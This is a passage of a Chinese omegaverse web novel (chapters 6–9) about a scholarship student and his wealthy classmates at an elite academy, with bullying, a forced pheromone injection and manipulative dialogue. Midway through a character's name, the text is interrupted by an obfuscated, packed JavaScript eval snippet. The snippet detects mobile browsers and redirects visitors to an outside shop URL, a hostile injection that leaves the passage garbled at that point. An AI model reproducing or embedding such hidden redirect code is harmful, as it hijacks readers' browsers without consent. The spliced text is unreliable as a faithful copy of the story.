但纪莱星知道林泊知向来如此,没太在意,自己拖了个椅子坐下,鞋尖踩地带动着转椅绕起圈来,开口时很是随意:“这么久了,都忘记问你,你什么时候认识简令祁的啊?” 他抬起眸,半开玩笑地开口:“好像突然之间,你和他就很熟悉起来了。” 说到这儿,他适时叹口气,抱怨道:“时楸亦出国了,越青染又向来不爱出门,你也总说在忙,你都不知道,去年一年我一个人有多无聊!” 桌面上只有装订好的A4纸,照片已经被林泊知整齐收好了。 林泊知微挑眉:“很无聊吗?我看你发的动态,生活倒是挺丰富的。” “苦中作乐而已,”纪莱星懒懒耸肩,旋即又追问道,“别扯开话题,快回答我上个问题。” 怎么熟起来的吗? 林泊知敛眸,思绪缓慢延伸至一年前。 那时候简令祁刚转学到圣维埃,按理来说,他们本该毫无交集的,毕竟他向来不会关注一个普普通通的特招生,直到成绩单上的第一名换了人。 他静静看着排在第一的名字。 ——简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213587|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令祁,是谁? 当晚,因掉下第一而被罚在庭院里跪了三个小时的林泊知回到房间后,膝盖疼得站也站不稳了,他那时带着恨意,反反复复念着这个名字才得以入睡。 膝盖即便是上了药仍难消红肿,与冷硬石子地的长时间接触使得即便是在睡梦中,双腿还是不自觉颤抖。 自从他七岁之后,这还是第一次受罚。alpha父亲冷漠的神情让他不自禁想起七岁前没能严格按照他的规划进行而受到惩罚的自己,相比起来,这次倒不像从前那样煎熬了。 他继续按部就班地按照自己的规划进行,偶尔撞见过一次被几个人逼到墙角的简令祁,依旧很是云淡风轻的模样。 看吧,根本不需要他的授意,就会有人自觉地将他承受的痛苦千倍万倍地归还给罪魁祸首。 无论是出于折辱简令祁的私心,或是讨好他的意味,林泊知都为此感到一阵快意。 忽然,穿梭重重身影,长相极为漂亮秾丽的少年朝他投来一眼,说不清这眼神中有什么情绪,但林泊知想要离开的步伐的确因其一顿。 他有些散漫地想,长相确实还不错,难怪有那么多人顶着得罪他的风险,也要悄悄对简令祁释放善意。 他没急着离开,而是站在远处,以一种冷眼旁观的态度观看起这里即将发生的事情。 然而没几秒,他瞳孔骤缩,几乎不敢相信自己看见的。 简令祁看起来单薄清瘦,居然极其轻松地就将三个alpha撂倒在了地上。 怎么回事? 林泊知皱起眉,这完全不符合他自小被塑造出的等级观。 一个beta吗? 他所瞧不起的beta垂眸扫过地上捂着肚子疼得蜷起的几个男生,随后转过身来。 他第一反应是装作路过,抬脚要走,但他所站的是一片无任何遮挡物的空地,简令祁估计早就发现了他,直冲他走来。于是他硬生生收回了步子,不经意抬眼看向简令祁,眼里是毫不掩饰的傲慢冷酷。 直到没什么起伏的声音在他耳边骤然响起:“是你在指使他们吗?” 林泊知猛地往后退了一大步,倨傲冷漠的眸子里瞬间满满充斥着厌恶。 他讨厌同人近距离接触,特别是,像这种,一身穷酸气的特招生。 虽然眼前的beta散发着清爽的暖洋洋的气息。 简令祁对他的后退并不在意,只是看着他,强调道:“别找我麻烦了,我很忙。” 林泊知看着他离开的身影,眼眸微眯。 不过自从那段单方面的对话之后,简令祁确实清闲了不少,不再有数不清的人堵他找他麻烦。 他和林泊知也处于一种毫无交流的相处模式中。 简令祁不太想和这种一看便会给他带来许多麻烦的不可控因素待在一起,自觉解决了一些堵他骚扰他的人后,安心继续自己的生活。 事情的转折点发生在礼堂演讲时。 那是简令祁第一次作为学生代表发言,穿着统一制服,纤长的手指握着话筒,另一手拿着深色文件夹,垂眸看着其上的稿子,声音清冽,仿若不可攀折的高岭之花。 林泊知在后台一角看着台上被聚光灯环绕的男生,第一次从这个视角看人让他感到了点新奇。 大概在发言进行到一半时,一个看不清形状的物件从台下重重抛了上来,速度极快。恰好简令祁那时正垂眸看稿,只余光瞥见,但这时候反应再快也躲不开了,他只能偏了下头。 硬质物件不偏不倚砸中他额头,随着物件撞地的清脆一声,白净的额头开始渗出鲜红的粘稠血液。 林泊知瞳孔微微张大,对于变故的发生他也毫无预料。但更多的,还是一种旁观者置之事外的心态。他不可遏制地朝前迈了一步,试图看清此时台上人的神态。 林泊知期待着这个夺走他第一的特招生在台上表现出慌乱无措,最好立马哭着跑下台,创造圣维埃学院建校以来最大的一次舞台事故。 然而他满怀恶意的希冀落空了。 简令祁面无表情的脸上的确第一次出现了怔愣这种神色,台下爆发出与友好沾不上边的哄笑声,像是深渊里看不清脸的怪物,伸出数不清的或高或低的手,尖叫着试图将他拖拽下去。 但他只是将文件夹放在了高桌上,抬手用衣袖随意抹去了顺着皮肤蜿蜒流下的血。 黑色外套沾上血并不太明显,被抹开的血迹凝在额上,将漂亮的脸衬得有些渗人。 他似乎完全不受影响,继续着刚才的内容。平稳得出奇的声音再次通过话筒传到礼堂的每个角落。 这个画面有种动人心魄的震撼,明明没有多余的动作,台下的喧闹却渐渐停了,一双双眼睛转动,紧紧注视着台上冷静又淡定的漂亮少年。 发言结束,他下场后准备离开礼堂,却被林泊知喊住了。 林泊知有些慌忙地开口:“这次与我无关。” 他甚至不知道自己为什么要解释,但就是脱口而出了。 简令祁头也没回:“有什么区别吗?” 额头仍在渗血,粘稠的血液沾在脸上,他不慌不忙拿出手机看了眼时间。 该马上去校医院处理伤口,否则极大可能赶不上下节课。 他没工夫继续和似乎不善言辞、半晌说不出一个字的林泊知僵持在这儿,他迈开步子离开。 赶在简令祁背影完全消失之前,林泊知朝他喊道:“我会把人找出来的。” 也不知道前面的少年听没听见,总之光看他的背影,能够看见他的步子并未为此有丝毫停留。 7. 第 7 章 “他在学生会工作,自然而然接触就多了,”林泊知没有多谈这个话题,反问道:“倒是你,其实上次我就想问了,他的住宿申请交到我这里,为什么你会知道?” 纪莱星不以为意,坐在转椅上漫不经心转着圈:“这又不是什么很隐秘的事,他的追求者不都知道吗?” 林泊知随之问道:“那你是他的追求者吗?” 坐椅停止了动作。 纪莱星顿了片刻,被睫毛挡住的眸色微动,半晌,迟缓抬眼。在和林泊知对视时,蓦然扬起一个笑,哥俩好地眨了下眼睛,轻松地说:“我们都认识多少年了,泊知你是知道我的,我什么时候对beta感兴趣过啊?” “况且,我再怎么样,也不会丧心病狂和发小抢人啊,”纪莱星神色真挚,耸耸肩,呈现放松的状态,笑着说,“我知道你不喜欢他,但他对你来说终究是特别的,对吧。” 林泊知想起那叠照片,意味不明地看着他,像是在思考他所说的可信度。 纪莱星这下也不提别的话题兜圈子了,直接将自己来找他的目的点明:“不过他好像过得挺可怜的,午饭都只能吃青菜。” 林泊知盯着他,明知故问:“你怎么知道他午饭只吃青菜?” 纪莱星完全没有被质问的慌乱:“今中午看到的啊。我感觉你还挺在意他的,中午吃饭的时候就帮你注意了一下,然后就发现他只打了青菜,顺便替你关心了他一下。” 他话里话外好像全都是在为了他的好兄弟林泊知着想,将自己摘得干干净净。 他还皱皱鼻子,似乎对林泊知的冷漠质问感到点无语:“总感觉你说话怪怪的,像是在怀疑我似的。明明从小到大,你和他们两个闹矛盾,我都是站你这边的,你也相信相信我呗。” 林泊知不置可否。 他倒是不知道纪莱星这个从来不去食堂的人什么时候会去食堂吃饭了,也不知道纪莱星什么时候对来学校这么积极了,刚出院就直奔学校来。 扯谎也要过脑子吧。 但出于某种心思,他没有将这些直接戳破挑明,移开了视线,抿了下唇缓声说:“我知道了,但我和他,不是你想的那样。” 纪莱星对他这句话没太明白。 简令祁中午对他说那话时的语气他还记忆犹新,现在林泊知又说什么不是他想的那样。 他想的那样?哪样啊? “那你们之间还挺复杂的,”纪莱星扬唇短促笑了一声,站起身来,“我就是过来提醒你一下,怕手机里说不清楚引起误会,破坏我们之间的感情。好了,没事我就走了。” 林泊知也没挽留。纪莱星走后,办公室里又只剩下林泊知一个人。 他犹豫许久后,拿起手机,点开置顶聊天对象,犹豫了好半晌才打字:【你最近钱还够吗?是不是奶奶那边又需要缴费了?】 消息如同石沉大海,没有得到分毫回应。 他眸色低沉,缓缓调整着呼吸,最终还是理智占了上风,控制着他没有将手机狠狠摔出,而是克制着自己将其轻放在一旁,着手处理学生会的事务。 不知过了多久,他设置的专属铃声响了一下,他仿佛被这声响点醒一般,条件反射就拿起手机查看,动作快得就仿佛他从来没有移开过注意力一样。 简令祁:【奖学金快到账了。】 林泊知眼皮颤了一下,这就是不够的意思。 他有些烦躁地拧眉,打字:【钱不够为什么不告诉我?】 又是半晌没有回应。 他使劲磨了磨牙。 过了好一会儿,简令祁才慢悠悠回消息:【你不知道?】 看到这条信息的林泊知抿住唇,神色不明:【你就不能亲口告诉我?】 而不是等别人来开口提醒他这件事。 就在他按下发送键的那一刻,有人敲响了门,这一声仿佛只是礼节性的敲门,因为下一秒门外的人就用钥匙打开了门。 林泊知抬眼看去。 “不是要我亲口告诉你?”简令祁随意晃了晃举在半空中的手机。 简令祁一边向他走近,一边礼貌询问:“怎样算是亲口告诉你?是要来求你吗?” 他对林泊知的那点怪异癖好知道得一清二楚。 林泊知盯着他看,后颈忽然一阵发烫,来得突然不说,这股热意更是来势汹汹,一波更甚一波的滚烫燃烧着摇摇欲坠的理智。 对着一步步走近他的简令祁,他瞳孔紧缩,不受控喊道:“可以了!站那儿别动。” 他有些过于激动,起身时将椅子带动,与地面摩擦发出一声刺耳声响。 简令祁确实没动了,他对于林泊知的一些不过分的要求向来不会反抗,只是垂眼看着林泊知神经质拽手套的动作,声音平静:“会长,你还没回答我的问题。” 他嘴上喊着会长,但完全没有任何处于下位的意思。 平静冷淡地喊着“会长”的语气让林泊知浑身燥热起来。 他的反应很是反常,不自觉摩挲着手指,修剪适当的指甲将指腹刮得泛红,手套被他低头咬下随意扔在了地上,但眼眸仍是向上的,盯着简令祁的时候眼睫颤动得厉害。 简令祁看出异常,微微歪头:“你的易感期到了吗?” 不需要林泊知的回答,他也露出一副了然的神态,微叹出口气,略有些苦恼的语气:“真的很不明白,明明易感期是可以请假的,更何况是像你这样的特殊情况。” 易感期时期的alpha总是不理智的,情绪突然爆发都是极为常见的事。简令祁在做这方面的研究,自然知道像林泊知这样疯狂依赖抑制剂来保持自己理智状态的alpha,易感期爆发会有多难熬。 更别提林泊知还有性.瘾。 简令祁迈开了步子。 “我让你别动了!”林泊知抬眼时眼里都布着血丝,声音在抖,“你出去!!” 他是真的在失控边缘悬着了,被滚烫席卷的脑子里只剩下一个想法——绝对!绝对不能让简令祁看见他这副丑态。 但这次简令祁没有听他的话,抿着唇思考后说道:“你现在需要的应该不是抑制剂,可能更需要这个?” 他从上衣口袋里拿出一支注射器,里面装着澄清不明液体。是下午实验提炼好的浓缩omega信息素。 他一手拿着注射器,另一只手将林泊知的双手收拢掐住腕骨。林泊知眼神涣散一瞬,旋即又像恢复了意识,剧烈挣扎起来。 简令祁皱了下眉:“别动。” 林泊知逸散的理智仿佛识别出了这是谁的音色,不再试图挣脱束缚,反而挣扎着去反握简令祁的手。 简令祁很难从容应对这样一个处于易感期的暴躁alpha,在林泊知的挣扎动作下,居然真的由他成功反握一只手,但那人抓住他之后,明显有些腿软,全身的力气都用来抓住他了,身子无力微微后倾,马上就要摔下去。 简令祁在心里“啧”了一声,身体迅速做出反应,使劲踢了一脚坐椅,力度刚刚好接住了林泊知下落的身体,自己也被带着摔下。 林泊知整个人陷在坐椅和他之间。 简令祁两只手都腾不出空,用手肘抵着坐椅靠背才稳住身体,垂下眼看着林泊知,那双水光粼粼的眸子全然褪去了往日的倨傲冷漠,有些呆滞地仰着头,想要抓着他往上够,视线落在他的唇瓣上。 “简令祁……” 林泊知双手紧紧攥住那只手,沿着手腕试图往更上面的地方摸去,仅仅只是皮肤表面的触碰,就已经能够让他意识溃散,情不自禁地想要渴望更多。 简令祁额角一跳,努力把手往外抽了抽,然而他愈是使劲,那人就攥得愈紧。 被暧昧摩挲的地方漫上些微痒意,白皙的小臂迅速泛上一层玫瑰似的嫣红,简令祁仿佛被蛇信子细密舔过一样,浑身泛上怪异的不适感。 简令祁强行忽视掉那股不适,敛了眉干脆继续自己的动作,将针头扎进身下人的脖颈,表情冷静理智,像是对待学术般认真,拇指指腹压在注射器上,视线时刻注意着注射器的液体,缓慢推动。 alpha在接收到陌生omega的信息素后,燥郁难.耐的生理反应总算受到了温柔的抚慰,但随之而来的是心理上的强烈恶心抗拒。 喉头压抑地发出几声呜咽,林泊知受不了omega信息素带来的冲击,磨了磨牙,张口咬在简令祁的小臂上。 即便是隔着外套和衬衫,简令祁也能感受到小臂上传来的疼痛,同时还有抵在腹部的不容忽视。 但他此时无暇顾忌这个,小臂的疼痛让他突然想起生理课上学到的——成年alpha的咬合力不亚于狮子这类大 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旋即扯住少年的领带使劲一拽,整个人重新仰躺在坐椅上,视线却上抬,紧紧锁住简令祁,冷得出奇。 简令祁被他拽得又靠近几分,纤长五指一把握住桌子边缘,一手撑在林泊知旁边,回看他,没有说话。 林泊知看似并不在意,但他抬起的手都在颤,气得有些冲昏理智了,手再次摸上简令祁的,感受着手下皮肤在他伸手接触时不由自主一颤,却继续捏揉着那片被他方才攥出红痕的皮肤。 不说他也知道,肯定是omega信息素。 手臂被人抓着如把玩玉器一样摩挲,简令祁不禁皱起眉头,这下也忍不下去了,使劲缩回手,看也不看林泊知,坐在了一旁的椅子上。 林泊知用力嗅闻,却再闻不见离开了的熟悉气息,思维又不受控地回想起omega信息素被注入皮下的感觉,脸色瞬间苍白得厉害,忍不住的反胃感不断往上涌。 他起身进了办公室的独立卫生间,门被狠狠摔上。 听声响能听出水龙头被开到了最大,哗哗流水的声响将其余的动静掩了个干净。 简令祁抿了抿唇,看着自己抬起的手臂,眸色微敛。 任谁被一个同性那样摸了揉了,心情也不会好到哪儿去。 直到卫生间的响动消失了,林泊知的身影再次显现。 林泊知脱力地靠着墙,唇色红得像是要滴血,声音却有种咬牙切齿的冷:“omega信息素,仅此一次。” 闻言,简令祁不再看着自己的手,思索片刻,问他:“人造信息素可以接受吗?” 课题组目前的方向就是研究人造信息素,等有成果了,可以先拿来给林泊知试试。 林泊知的一句“别拿我当实验品”还没说出口,就听见简令祁的下一句:“用我的血清。” 他完全掌握了林泊知的心理。这下林泊知没有立马回绝了,手指微蜷,在洁白墙壁上来回摩挲,发出不仔细听听不清晰的刺耳噪音。 “我确实不排斥你,但这并不代表我会……” 简令祁打断:“可你看上去不止是不排斥。” 他大方伸出自己的左手给罪魁祸首看,袖口敞开着,一截红痕蜿蜒着向上,还未完全消散,莹白一截的手腕上留下这样的痕迹看上去有些可怖。 林泊知有些不自然地偏过视线,竭力保持着冷静的声线:“我记得我说过让你出去。” 简令祁看着他,顿了顿,声音很轻地吐出一句话。 “好心没好报。” 林泊知的心突然猛跳了一下。 “那总该赔我一套衣服吧。” 林泊知抬起眼,看着他的身上即便经过简单整理仍显得乱糟糟的衣服,偏一张脸还是极淡的冷。默了片刻才应道:“好。” 简令祁站起身,没有再多待的意思。 林泊知快速出声:“你来找我干什么?” “没事就不能来找你吗?” 林泊知身体骤然紧绷,随即他就意识到简令祁只是在随口戏弄他。 简令祁走到书柜前,取走了一个很小的u盘,唇角微不可察地勾了下:“只是来拿这个。” 林泊知:“……” 8. 第 8 章 天空逐渐漾上蓝紫色,路灯亮起。 下午的课结束,简令祁收拾好书本后来了食堂,打饭前照例刷卡,却发现余额后面多了几个零。 简令祁:“?” 谁往他饭卡里充了两万多?有钱没处花了? “同学?还打菜吗?”一层玻璃之隔的阿姨拿着勺子笑呵呵问他。 简令祁回过神,没多犹豫报出菜名,心满意足地拿着盛满菜的餐盘走开。 饭卡里有钱了,这次打的菜品丰富,多是荤菜,倒是更符合正处于长身体阶段的男生的必要需求。 他刚坐下没几秒,就有个毛茸茸的脑袋凑了过来。 对面的人这次连餐盘都没拿,连来吃饭的模样也不装一下,手肘撑着餐桌,若有所思盯着他。 简令祁头也没抬,像是完全没看见这人似的,不受影响地安心吃饭。 最后还是纪莱星忍不住率先开口了:“你能吃这么好,有我一份功劳吧,不和我说一声谢谢吗?” 简令祁将口里的菜咽下,捏住放在一旁的矿泉水瓶猛灌了口,本来很薄的唇被他抿得泛红水润,看上去很好亲的模样。 纪莱星的视线不自觉地就往下移了,轻咬了下舌尖让自己沸腾的血液冷静下来。 简令祁问:“你给我充了两万?” “一万五啊,”纪莱星撑着下巴,还解释了下,“林泊知他事情多比较忙,我担心他忘记,就先充了一笔。怎么样?是不是很感谢我?” 简令祁明了,看来剩下的是林泊知充的。 他拿出手机,手指轻点,果然看见林泊知给他发的消息,他当时忽略了。 【下次急需用钱,亲口告诉我。】 简令祁对林泊知掌控欲极强的变态心理颇为厌烦,回了个【哦。】就再次收起手机。 他也没问纪莱星这人是通过什么乱七八糟的途径帮他充上饭卡的。 毕竟都F4了,有点手眼通天的能力不奇怪吧。 简令祁对此接受良好,埋下头继续吃饭。 纪莱星这下不满了,一拍桌子,凑近了些,桃花眼紧紧盯着他,语气夹着点讶异:“一万多都换不来你和我说一句话吗?” 桌子被他这一拍震了一下,就连其他几桌的人都朝他们投来了视线。 今天是公休,实际上是没多少人在食堂吃饭的,于是在安静偌大的空间内,这里的响动便显得极为突兀。 简令祁按了按额角,不得不抬眸看他,盯了纪莱星好一会儿。纪莱星有点不自然地缩了下头,刚想开口,就听见简令祁语气冷淡道:“我说,你是真爱上我了吗?” 纪莱星抿了抿唇,毫不心虚地回看简令祁。 他这次不像中午被问时那么手足无措,浑身僵直,现在的他已经提前打好腹稿,做好准备。 于是他理直气壮地挑眉:“我帮泊知看着你点啊,你不是说你还没喜欢的人吗?万一在我们看不到的地方,你突然就有了呢。” 简令祁:“。” 神经病。 他不再浪费时间搭理没话找话的纪莱星,低下头安安静静吃饭,无论纪莱星说些什么有的没的,他也全当耳旁风,当那人不存在。 * 简令祁忙得出奇。 才开学没多久,学生会需要处理的事一串一串的,他不仅要做好风纪委员的本职工作,还要把大多数时间放在练题上。 除了应付一些几乎都成了日常生活一部分的麻烦事,简令祁的生活简直就是三点一线,就这么过了一周,终于到了放假的时间。 圣维埃学院实行双休,周末留校的人并不多,但还是有很多特招生留下。毕竟宿舍环境很不错,比大多数人的家里还要舒适。 乔榆坐在书桌前,笔尖落下最后一个符号,肩卸了力,很明显是放松的状态,抬手按下计时的闹钟。 他快速摘下耳机,椅背后仰,亮晶晶的眸子注视着正收拾作业的简令祁:“你要回家吗?” 简令祁“嗯”了一声。 他将圣维埃制服换下了,穿着件短袖配长裤,明明是再简单不过的打扮,却因着身高腿长的优势,将普通的衣服硬生生穿出了种高级质感,单肩随意挎着个纯黑书包。 书包不是很重,装的全是试卷和习题册。 “那……学长再见。”乔榆上身转过来,手肘撑在椅背上,仰起头望着他。 经过这几天的相处,乔榆发现简令祁是真的不太爱说话。 圣维埃是没有晚自习的,但简令祁回宿舍的时间大多数都很晚,回了宿舍之后又基本上在埋头写题。 所以虽然他们二人是室友,但对话的次数乔榆掰着指头都数出来,以至于直到现在他还在叫简令祁“学长”。 简令祁抿抿唇,听见这样生疏的称呼,鲜少地产生了不适应的情绪,临出门时转过头说了一句:“叫我名字就好。” 又补充道:“再见。” 乔榆先是一愣,微微睁大眼看着被合上的门,随即对着根本不可能回应他的门露出一个大大的笑容,也不知道在对谁说话:“好呀。” 正是放学时间,无论是价格高得离谱的豪车还是十万上下的普通车辆,都公平地堵在了校门前,慢悠悠地移动,和摇摇车似的一点点摇回去。 简令祁掠过人群,沿着道路边上走,前往下一个公交站牌。 临近夜晚,稍暗淡了些的光从他的头顶洒下去,投射出模糊不清的阴影。 越往前走,人越少,车也越少。 路边突然有一辆低奢黑车降下车窗,后座上倚着位脸庞精致的小少爷,半边脸隐在阴影里。 司机开了门下来,黑色的衣服包裹着爆发力极强的肌肉,整个人挡在简令祁面前像是一座无言的山,语气恭敬又没什么情绪起伏:“简少爷,我家少爷请您上车。” 简令祁抬眸看了他一眼,刚要落地的脚微顿一下,沉默着转了个方向,径直朝那辆车走去。 司机停顿少许,落后他几步,在即将到达时加快速度超过他,低着头恭敬地为他打开了门。 简令祁收回迈开的步子,原本想绕到另一边上车的想法落了空,出于礼貌轻道了声谢,不得不和那位浑身气度不凡的小少爷肩靠着肩坐下。 正是闷热的天气,车上却没有开空调,但因着点着的香氛,车内味道有种特别的清爽纯净。 但热意不减。 “等了你很久。” 越青染像是抱怨般呢喃了一句,半垂着眸有些困倦的样子,脑袋往旁边蹭了蹭,找了个舒服的角度歪倒在他肩上。 简令祁有些烦他,皱了下眉,刚想往旁边挪,就被旁边人扯住,接着是一张放大的脸。 离得很近时,脸也会随之放大,但二人的长相都是让人不太能挑出错处的类型,离近了看也只会是赏心悦目。 越青染手上轻轻拽着他的胳膊,抬起眼眸与他对视,柔声问:“怎么了?” 简令祁没再硬着往旁边移,只是平静说了声“热。” 越青染垂下眼,刚好扫到他的脖颈,果不其然出了身汗。 简令祁皮肤白,细密的汗珠布了一层在身上,晶莹透亮,有种莫名的涩.气。 越青染拿出一小包纸巾,认认真真擦拭他裸露在外的皮肤,带着香气的纸一点点沾掉汗水。 很少有alpha会像他这样随身备着纸巾。 或者说,他真的不像一个alpha,很多方面都不像。 但他擦拭的行为并没有使之得到缓解,简令祁出的汗更多了,最后不得不拉住他的手腕,制止他:“不用了。” “好。” 越青染笑了笑,顺势收起了纸巾。 这条路堵得厉害,车开得很慢。 越青染合着眼,突然很小声地和身边人说:“我觉得我们这样好像偷.情啊。” 故意不在校门口上车,像是在避着谁瞒着谁似的。 简令祁唇线抿直:“。” 乱说什么。他根本没想到越青染今天来找他,这人也没有提前发消息给他。 他实在不知道怎么搭这话,干脆抿着唇装作没听见。 越青染久久没听见他的回应,也不假寐了,侧过脸抬眼看他,嘴角勾起温柔笑容,非要让简令祁说上几个字:“你说呢?” 简令祁长睫颤动了下,看着窗外继续保持沉默。 越青染睫毛从上而 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简令祁以为他下一句就是“我不想因为一个外人影响我们之间的情谊”,没想到越青染接下来说出的话和他想的截然相反。 “我太了解他了。他心理变态,控制欲又强,”越青染毫无心理负担地诋毁着自己的发小,还有心思开玩笑,“我双腿没有知觉动不了,他要是发起疯来,我连逃跑都做不到。所以——当然不能让他知道了。” 简令祁不咸不淡回了句:“知道我们认识,他就会发疯吗?” 越青染有些惊讶地侧头看他:“你好像不知道他有多在意你,他上一次表现出这么上心的对象还是六岁那年对一只流浪的白猫。……哇,现在想起来,已经是很久之前的事了。” “明明喜欢得不行,却还是要说‘我绝对不可能对这么弱小的动物感兴趣’。其实我们都看得出来他很喜欢啦,时楸亦便提议把小猫放在他家里养着。后来林泊知就经常找借口过去照看,甚至不顾洁癖、隔着手套都要上手摸。” 他模仿林泊知语气时刻意压低声音,倒有几分蹩脚的相似。 简令祁对他们的过往毫不在意,没有说话,静静看着窗外缓慢移动的风景。 但他不刻意听,讲故事似的缱绻音色依然不紧不慢送入耳里。 “小猫是时楸亦一直费心养着的,但他一定要小猫更喜欢他。只要是他在的时候,就只有他能看见那只小猫。而且——他不会主动给它猫粮,一定要小猫主动蹭他对着喵喵叫,他才会满足它,”越青染笑起来,温柔的褐色瞳孔将简令祁的侧脸框住,讲话时有种别样的温和,语气不急不缓,“我觉得你就像那只白猫。” 被比喻成了白猫的简令祁见越青染都把话说到了这个份上,自己也该象征性地关心一下那只白猫的后续了,于是很配合地问了句:“后来呢?” 越青染摊了摊手,笑容依旧:“猫死了。” 他像是说着什么无关紧要的平常事,语调不变,“林泊知去得太频繁,后来就被他父母发现了,对他们而言,林泊知这样离经叛道的举动自然是需要受到惩罚的。” 只不过受到惩罚更重的不是林泊知本人罢了。 他点到为止,没再继续说。 简令祁:“。” 他垂下眸,决定下次无论越青染说什么自己都不会再配合他了。 越青染的声音轻缓,仿佛有着某种抚慰性的力量:“别怕,虽然你很像那只小猫,但是你和它不一样。” 语气带上点许诺般的郑重:“因为我不喜欢小猫,但我喜欢你,我会保护你的。” 他边说边伸手,想为简令祁撩起遮住眼睛的头发,却被他反应灵敏地躲开了,一双眼睛还很是警惕地盯着他。 越青染轻笑了一声。 这种空头支票般的话实在太过无力,甚至这种类似于PUA的洗脑话术简令祁已经从他口中听过不止一遍了,早已经养成了左耳朵进右耳朵出的习惯。 越青染最擅长的就是说这种引诱性极强的话,潜移默化地让人把他当成救命稻草一样的人物。 简令祁表情都没有变一下。 9. 第 9 章 车一路行驶进院落当中,别墅是典型的西式建筑,细腻的花纹浮于其上,微风轻拂过大理石壁,发出很细微的动静。 越青染大抵是真的困了,车停了也没意识到,阖着眼像是睡着了。 简令祁开门前出声提醒:“到了。” 越青染睫毛一颤,旋即缓缓掀起眼眸,眼里水汽朦胧像是还不太清醒,但手已经先一步举起,作出要抱的模样。 简令祁下了车,回过头盯了他几秒,收到了alpha一个难掩困意却下意识扬起的笑容。 司机下车之后迅速将后备箱的轮椅拿出摆在了后座车门前,很有职业操守地沉默站在一旁,习以为常地无视掉这一幕。 简令祁最后还是动了,微躬下身将双手敞开毫不设防的alpha抱住,一只手掠过他的腰身,手虚握成拳并未与他过分瘦削的背直接接触,另一只手自然而然穿过膝弯,在接触到双腿时,alpha的眼皮很不自然地轻颤了一下,几秒后便被很稳地从车上抱了下来。 越青染被放在了轮椅上。 科技进步下的智能轮椅无需手动推动,单是靠轮椅上坐着的人便能极其轻松地操纵着进入房子里。 走进这座修建得仿佛童话故事里美丽城堡的别墅里,一抬头便能看见高调奢华的黄金吊灯,巨大的台阶蜿蜒着通向二楼。 坐在真皮沙发上的半长卷发女人站起身来,见到进来的两人后,露出温柔到恰到好处的微笑,一言一行仿佛是电视新闻里常描述的那种成功人士背后站着的贤淑女人的标范。 轻撩落下的额发,缓缓别至耳后,语气像是新闻频道的专业主持人,有种落到实处的质感:“小简来了呀。” 简令祁礼貌问候:“阿姨好。” 女人敛眸点头,脸上笑容的弧度和越青染如出一辙,复制粘贴似的。 “妈妈,”越青染笑着唤了声,得到女人视线侧目后,他继续说,“我们先去房间了?” “嗯,好。”女人柔声回应,目送他们二人进了电梯,随着电梯的最后一条缝合上,她才又坐回沙发,噙着笑安静看起电视。 越青染的房间很大,甚至其内就分了好几个区域,并未用门隔开,而是很是怪异地,用不同风格硬生生分割为了几个区域。 卧室的简洁黑白风和色彩艳丽对比度极高的画室显出极强烈的割裂感。 越青染自顾自控制着轮椅向里去,双手捧起桌上的精美盒子,又操控着轮椅送到简令祁手上,含笑问他:“你想先洗个澡吗?刚刚你在车上说热……流汗了,一定很不舒服吧。” 关切温和的语气任谁都挑不出半分差错,但他的咬字过于暧昧不清,眼神也像含着某种难言的滚烫的情意。 精美盒子里装的是一套剪裁得当的正装。 简令祁冷淡的眼神落在他身上,一时没回话。 越青染轻笑一声,仿佛在这一刻与他想法相通了,补充道:“没有监控。我若是真有这个想法,早在你第一次来这里时就会记录下来了。” 说到这里,他眼睛缀着点亮色抬起,言语却是暗暗挑拨:“但是林泊知大概率有这个癖好哦,所以你要小心点他。” 他的视线灼热地,一寸寸描摹着眼前人的面容,看着看着,不光睫毛开始乱颤,就连脸也泛起了红晕。 简令祁被他看得浑身发麻,转身进了浴室,门被带上,将浴室内的风景挡得严实。 一阵细微的衣物摩擦声过后,没几秒后响起水声。水滴一颗颗砸在地上,声音连贯自然,仿佛是作为点缀的背景音乐,越青染伴着声响,安安静静地整理自己的画具。 他的缪斯…… 真的非常漂亮。 第一次见到简令祁是在篮球场外,他回味起记忆中的一笔一划。 那是再普通再简陋不过的一个篮球场,修在一所重点学校的不远处。 越青染自一场车祸后双腿失去知觉,听得最多的一句话便是让他多出门晒晒太阳,于是在崩溃很久之后,他终于做出了出门这个决定。 他没有告诉任何人,自己艰难地从病床翻到轮椅上,第一次独自依靠轮椅坐电梯离开了医院。 散心这种事向来是漫无目的的,越青染穿着一身病服,不太熟练地操作着轮椅沿着道一路远去。 可能是源于某种特殊的吸引,他的轮椅不由自主地停在了建造粗糙的篮球场外,他停下前进的打算,隔着围栏看向其内。 年纪很轻的一群男生嘻嘻哈哈地在打篮球,他们穿着宽松的篮球服,以两种不同款式划分队伍,大概是约着在放学时间来了个对抗赛。 这个年纪的男生在球场上最能使出蛮劲,跑得飞快,动作也敏捷,拦人时死死盯着对手的动作,严防死守着不让对方得分。 一般会来这里打球的都是旁边那所重点中学的学生,球场边上摆着几个椅子,衣服被随意搭在上面摞成一叠,旁边还摆了不少眼镜。 越青染和他们年龄差不多,但他只能在围栏外看着里面激情四射的活动,他有些遗憾地叹了口气。 但同时,视线被其中一个穿梭的身影牢牢吸引,那人在球场上太惹眼了,几乎所有人在看去时都能一眼注意到他。 男生皮肤白得透亮,蓝白色球衣浸着汗紧贴在身上,侧过脸来时,即便只是一瞥也会令人下意识屏住呼吸。 ——一张漂亮得过分的脸。 但越青染画过数不清的漂亮脸蛋,并不会轻而易举被一张好看的脸所吸引,顶多是在心里默默感叹一句——好完美的比例。 然而此刻跑动着的鲜活且具有旺盛生命力的男生却给了他完全不同的感觉。 健康的,热烈的,充满生命气息的。 精致冷淡的皮囊下格外滚烫的灵魂将他的视线牢牢抓住。 球场上的男生眉眼写满认真,跑动时腿部线条随之绷紧,盯着持球的人后猛然加速,一个利落转身让他顺利抢过球,旋即敏捷地躲开拦他的人,在接近篮筐时肌肉绷紧,快速起跳。 “砰”得一声巨响! 篮球猛撞在篮板上,随后从框中落下砸在地上。 单手抓住篮筐的男生松了手,从空中落下稳稳踩地。 